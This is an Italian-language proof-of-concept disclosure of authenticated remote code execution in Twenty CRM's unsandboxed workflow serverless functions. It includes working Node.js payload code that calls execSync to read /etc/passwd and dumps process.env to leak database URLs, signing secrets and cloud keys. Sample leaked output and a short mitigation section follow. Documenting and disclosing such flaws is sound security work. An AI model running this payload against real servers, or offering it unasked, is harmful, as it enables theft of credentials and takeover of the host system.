
Proof-of-concept per l'esecuzione remota di codice autenticata in Twenty CRM tramite funzioni serverless non sandboxed, che consente l'esecuzione arbitraria di comandi Node.js e la divulgazione di variabili d'ambiente.
Prodotto: Twenty CRM
Vulnerabilità: Esecuzione Remota di Codice (RCE) tramite Funzioni Serverless dei Workflow
Gravità: Critica
Componente Interessato: Automazione dei Workflow (Codice - Funzione Serverless)
Versione Testata: v1.15.0
Questo repository documenta una vulnerabilità critica nel motore dei workflow di Twenty CRM. Il componente "Codice - Funzione Serverless" consente agli utenti autenticati di eseguire codice Node.js arbitrario. A causa della mancanza di sandboxing, è possibile importare il modulo child_process ed eseguire comandi a livello di sistema sul server host.
L'applicazione consente agli utenti di creare workflow di automazione personalizzati che includono un passaggio di esecuzione del codice. Sebbene ciò sia pensato per la manipolazione dei dati, l'ambiente di esecuzione non limita adeguatamente l'accesso ai moduli integrati di Node.js o al sistema operativo sottostante.
Un attaccante può utilizzare execSync dalla libreria child_process per:
cat, ls, whoami)./etc/passwd).process.env), rivelando credenziali del database, chiavi API e segreti dell'applicazione.import { execSync } from 'child_process';
export const main = async (params: any): Promise<object> => {
try {
// 1. Esecuzione Remota di Comandi: Legge gli utenti di sistema
const output = execSync('cat /etc/passwd').toString();
// 2. Divulgazione di Informazioni: Scarica tutte le variabili d'ambiente (Segreti)
const secrets = JSON.stringify(process.env);
return {
data: output,
secrets: secrets
};
} catch (e: any) {
return { error: e.message };
}
};
Panoramica del Codice
Il workflow viene eseguito correttamente e restituisce i dati di sistema.
Accesso ai File di Sistema (/etc/passwd):
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
postgres:x:70:70:PostgreSQL user:/var/lib/postgresql:/bin/sh
...
Variabili d'Ambiente Divulgate:
Il dump di process.env ha rivelato dettagli di configurazione critici:
PG_DATABASE_URL (Credenziali del Database)APP_SECRET (Chiavi di firma)REDIS_URLAWS_ACCESS_KEY (Se configurato)Questa vulnerabilità consente a un utente autenticato (con permessi per creare workflow) di ottenere il Compromesso Totale del Sistema.
Per risolvere questo problema, la funzionalità "Funzione Serverless" richiede un adeguato isolamento.
child_process, fs e net.